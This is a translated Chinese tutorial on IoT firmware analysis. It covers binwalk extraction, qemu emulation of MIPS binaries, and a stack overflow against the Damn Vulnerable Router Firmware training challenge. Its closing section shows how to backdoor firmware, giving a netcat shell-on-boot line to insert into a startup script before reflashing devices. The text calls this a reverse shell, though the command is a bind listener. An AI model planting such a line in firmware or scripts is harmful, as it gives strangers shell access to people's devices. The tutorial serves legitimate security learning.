翻译:shan66
预估稿费:260RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
在上一篇文章中,我们介绍了进行固件分析和提取文件系统的方法。在这篇文章中,我们将进一步介绍如何深入分析固件的二进制文件,进而利用其常见的安全漏洞。
在本文中,我们将会涉及到如下所示的两个固件:
1. kkeps.bin(kankun智能插座的固件)——它的下载地址为http://homedash.org/2014/09/21/firmware-downloads/。
2. DVRF_0.3.bin(由@ b1ack0wl提供的Damn Vulnerable Router Firmware的固件)——它的下载地址为 https://github.com/praetorian-inc/DVRF。
在获取Kankun的固件之后,我们要做的第一件事就是使用binwalk从固件中提取文件系统。
binwalk -e kkeps.bin
现在,binwalk已经提取了固件; 我们可以考察这个文件系统,看看是否有我们感兴趣的二进制文件,来作为我们的分析对象。正如我们所看到的那样,在sbin /文件夹中有一些二进制文件看起来是定制开发的,因为它们的名称是以字符串kkeps开头的。
运行用于不同的架构的固件二进制代码
现在,为了与这些二进制文件进行交互,我们要么通过设备的shell来运行相应的二进制文件(我们将在后面的文章中介绍),要么通过识别出该二进制文件的目标架构来进行仿真。为此,我们可以借助于readelf程序。
从上面的截图我们可以看到,该二进制代码是用于MIPS架构的。我们需要找到相应的qemu程序,以便对MIPS架构的二进制代码进行仿真。qemu的安装本文不做介绍,因为已经有很多在线资源对此进行了详尽的说明。
一旦在系统上成功安装好了qemu,下一步就是将qemu-mips-static二进制文件复制到固件的根文件夹中。
让我们先运行位于bin文件夹中的busybox,看看是否正常工作。
由于二进制文件busybox是给另外一个架构编译的,自然无法在我们的x86机器上运行,所以会出现一个Exec格式错误。现在,让我们再试一次,这次使用qemu-mips-static和chroot:
sudo chroot. ./qemu-mips-static bin/busybox
正如我们所看到的那样,通过使用Qemu仿真特定的架构,已经可以成功地运行这些二进制代码了。
现在,让我们尝试使用qemu-mips仿真运行位于sbin文件夹中的kkeps_seekwifi二进制代码,这里同样会使用chroot,具体如下所示:
sudo chroot . ./qemu-mips-static sbin/kkeps_seekwifi
由于该二进制文件的名称为seekwifi,所以它有可能是用于寻找到该设备的连接(当它在该设备上运行的时候)的。让我们检查一下,它是否已经在我们的端口上启动了某种监听器。为此,我们将用到netstat,具体命令如下所示。
果然不出所料!它已经在端口50000上启动了一个监听器。让我们看看是否可以连接到这个端口,然后发送一些数据,看看该监听器是否会收到。
如果这时查看另一个终端窗口,我们将发现,这个运行中的二进制代码已经收到了通过telnet发送给它的数据。
因此,我们可以对固件中用于不同架构的二进制文件进行相应的仿真处理,甚至可以与正在运行的二进制代码进行交互。
这实际上就是为渗透测试人员开辟了广阔的可能性。事实上,这意味着只要可以获得设备的固件的话,我们甚至可以对它们进行攻击,并验证我们的攻击是否奏效,而这一切根本无需物理设备的实际参与。
利用MIPS架构上的栈溢出漏洞
下面我们开始尝试利用MIPS平台二进制代码的栈溢出漏洞。在这里,我们假设读者已经掌握了栈溢出漏洞的基本概念。对于这个练习,我们将以Damn Vulnerable Router Firmware为例进行介绍。
第一步,与所有固件的处理方式一样,使用binwalk提取文件系统。一旦通过binwalk提取出了DVRF文件系统,就可以在squashfs-root/pwnable/Intro文件夹中找到相应的挑战任务。
我们要挑战对象是stack_bof_01。在利用这个二进制文件的漏洞之前,首先需要使用IDA对其进行反汇编。当然,你也可以使用radare2或radare2来完成这项工作,具体使用哪种工具,完全取决于你的个人喜好。在这个系列文章中,我们将使用IDA作为我们的反汇编器。此外,当在IDA中加载二进制代码时,务必确保将MIPS的体系结构类型改为little endian。
我们要做的第一件事是检查函数列表,看看是否有让我们感兴趣的函数。
正如我们所看到的,在地址0x400950处有一个让我们感兴趣的函数,即dat_shell。我们稍后会再次回到这里。
让我们尝试运行该程序,看看它运行时的正常输出是什么。然后,就像我们在上文一样,使用qemu和chroot来运行它。
该二进制代码貌似需要一个参数,当它与开发人员指定的条件相匹配的时候,会生成另一个输出,而不是“Try Again”。为了验证这一点,让我们运行qemu,通过-g标志和端口号附着一个调试器,然后使用IDA远程连接它。需要注意的是,有时候在仿真期间,您还必须使用qemu的-e标志来设置该二进制文件所需的环境变量。
我们可以看到,现在代码已暂停执行,因为它在等待调试器与它连接并给出进一步的操作。所以,让我们打开IDA,并通过配置远程调试器附加到这个进程上面。为此,我们需要在IDA中打开相同的二进制文件,然后进入Debugger | Process Options菜单选项,并输入我们的远程IP地址(对该二进制代码进行仿真的机器的地址)和端口号。
一旦完成上述工作,我们就可以运行调试器并附加到这个正在运行的进程上了。你可以在这里设置断点并分析各种寄存器,并完成任何你想要的操作。
我们将在本系列后面的文章中集中深入讨论MIPS的汇编代码,但现在,我们只需专注于PC和RA即可——从漏洞利用的角度看,它们是最有用的两个寄存器,分别表示程序计数器和返回地址。
简单来说,程序计数器是下一条要读取的指令(因为MIPS是流水线方式),RA是返回地址(程序在结束子程序后返回的地方)。
对于这两个寄存器,只要控制其中任何一个,我们就能够访问程序流,从而可以操纵程序的执行了。
既然这是一个基于堆栈溢出的crackme,那么我们就使用一个超长的字符串来运行该二进制文件,比如使用Metasploit的pattern_create.rb来生成一个包含2000个字符的字符串,具体如下所示。
一旦生成所需的字符串之后,我们就可以将其用作运行该二进制代码时的参数,然后通过IDA调试该二进制代码,以查看我们的PC寄存器指向何处。
由于该程序现在正在运行,所以我们可以通过IDA检查程序崩溃时PC的价值是什么。我们将会看到,PC存储的值为0x41386741。
如果我们将0x41386741的值转换为字符串形式,就是A8gA,通过pattern_offset.rb我们可以发现,它实际上就是204。这意味着我们可以控制程序计数器:它会首先跳过204个字符,而接下来的那个字符将覆盖程序计数器。
现在,让我们尝试调用我们之前见过的dat_shell函数。由于前两行代码是处理GP(全局指针)的,所以忽略它们,并直接跳转到位于地址0x40095c的第三行指令。
所以我们将再次生成一个包含204个字符的模版,然后,我们将第三条指令的地址放到dat_shell函数中。如下图所示,这一次,它会显示“Congrats! I will now execute /bin/sh”,这意味着我们现在已经成功地利用了这个漏洞。如果它是一个实际设备的话,我们就会得到一个shell。
如何将固件后门化
对于固件而言,我们可以做的另一件有趣的事情是:创建原始固件的恶意版本。为此,我们可以从固件中提取文件系统,然后为其添加可以自动触发并提供一个反向shell的恶意脚本,然后将其重新打包为新的固件。然后,如果您具有相应的访问权限(基于硬件或在线方式)的话,您甚至可以将新创建的固件刷新到设备中。
这会带来巨大的安全风险,因为您购买的大多数设备不是直接来自制造商,而是来自分销商。除非您证明运行在设备上的是合法固件,否则您无法确保它不是后门化的固件。在此我们不会详细介绍制造商是如何将后门放入自己的固件中的。
现在,让我们深入探讨这一切是如何做到的。
Firmware Mod Kit使用入门
Firmware Mod Kit是一款由Jeremy Collake和Craig Heffner共同编写的工具。您可以使用FMK提取固件映像,添加自己的代码,并构建新版本的固件。
Firmware mod kit是一个完整的工具包,不仅可以用来提取固件,同时还能构建新的固件。在提取固件方面,它会将Binwalk用于其提取过程的一个组成部分。
为了通过binwalk提取固件,只需在extract-firmware.sh后面加固件二进制文件名的方式即可,具体命令如下所示。
在提取固件后,它会将提取的文件系统存储在同一文件夹下面的fmk目录中。
在这里,只要你喜欢,可以修改或添加任何文件。从下面的屏幕截图可以看出,其中有一个busybox二进制文件,当然,这里也有Netcat。如果需要的话,我们可以添加Netcat的反向shell,以便在设备启动时连接到我们的IP。
若要添加后门的话,我们只要在任意.sh文件中添加以下一行代码即可,这样就可以在设备启动时自动触发了。
/bin/busybox nc –nlp 12345 –e /bin/busybox sh &
一旦完成了相应的修改,我们就可以使用build-firmware.sh来构建新的固件,进而将其刷新到设备中
在本文中,我们详细介绍了分析和利用固件二进制文件的各种方法。在下一篇文章中,我们将进一步讲解针对物联网设备的硬件漏洞利用技术。

评论